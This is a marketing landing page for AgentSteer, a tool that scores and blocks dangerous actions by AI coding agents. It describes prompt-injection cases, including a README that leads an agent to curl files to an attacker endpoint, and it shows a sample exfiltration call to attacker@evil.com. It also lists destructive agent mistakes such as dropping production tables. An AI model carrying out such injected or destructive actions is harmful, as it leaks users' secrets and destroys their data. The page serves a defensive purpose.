Runtime guardrails forAI coding agents.
Your agent can run shell commands, edit files, and call APIs. AgentSteer scores every action and blocks the dangerous ones before they execute, whether from prompt injection or agent mistakes. Works with Claude Code, Cursor, Gemini CLI, and OpenHands.
WHAT CAN GO WRONG
Things that actually happen
Your AI coding agent has access to your terminal, your files, and your credentials. One bad decision or one prompt injection is all it takes.
Deleted the production database
ProtectedAgent told to clean up test data drops your prod tables instead. Could be a simple mistake, or a prompt injection hidden in a markdown file.
AgentSteer blocks write actions that don't match the original task
Pushed secrets to a public repo
ProtectedAgent commits your .env file with API keys and database credentials straight to GitHub. It thought it was being helpful.
AgentSteer catches actions targeting files and destinations outside the task scope
Exfiltrated data to an external server
ProtectedA prompt injection in a dependency README makes the agent curl sensitive files to an attacker-controlled endpoint.
AgentSteer detects unauthorized delegation to external URLs and services
Ran rm -rf on the wrong directory
ProtectedAgent cleaning up build artifacts wipes your entire source code directory. It misunderstood the scope. No backup, no undo.
AgentSteer blocks destructive actions when the task only requires safe operations
HOW IT WORKS
Install once, protected forever
One command to install. No config files. No YAML. AgentSteer hooks into your agent and checks every action before it runs.
Install
Run npx agentsteer in your terminal. Auto-detects your frameworks, installs hooks, and verifies each one works. Takes 30 seconds.
Score
Every tool call gets scored against what the agent is supposed to be doing. Dangerous actions get flagged instantly.
Block or allow
Bad actions get blocked with a clear reason. The agent sees why, adjusts, and finishes the job safely.
IN ACTION
Dangerous action blocked, task completed
A prompt injection tries to exfiltrate data. AgentSteer blocks the dangerous action and the agent continues with the legitimate task.
Task: "Get calendar events for May 15 and reply to the email from Sarah"
> Agent calls: send_email(to="attacker@evil.com", subject="Stolen data", body="...")
✗ BLOCKED by AgentSteer
Policy: P3 Category mismatch
Reason: Task requires calendar and email reply, not sending to unknown recipients
Score: 0.90 (threshold: 0.80)
> Agent continues with legitimate task...
> Agent calls: get_day_calendar_events(day="2024-05-15")
✓ ALLOWED (score: 0.0)
YOUR DATA
Where does my data go?
Your source code stays on your machine. AgentSteer only sends tool call metadata (tool name, parameters, task description) for scoring. File contents are not included.
Secrets are stripped before scoring. API keys, tokens, and environment variable values are removed from the metadata before it reaches the scoring model.
Want full control? Run npx agentsteer --local with your own OpenRouter API key. Nothing leaves your machine except the scoring API call you control.
If the AI scorer is unavailable, AgentSteer switches to rule-based fallback checks that block known dangerous patterns while allowing safe operations. Every action shows a warning with instructions to restore full scoring.
GET STARTED
One command. Done.
Works with Claude Code, Cursor, Gemini CLI, and OpenHands out of the box.
npx agentsteer$1 free credit included. Bring your own OpenRouter key, or subscribe for pay-as-you-go.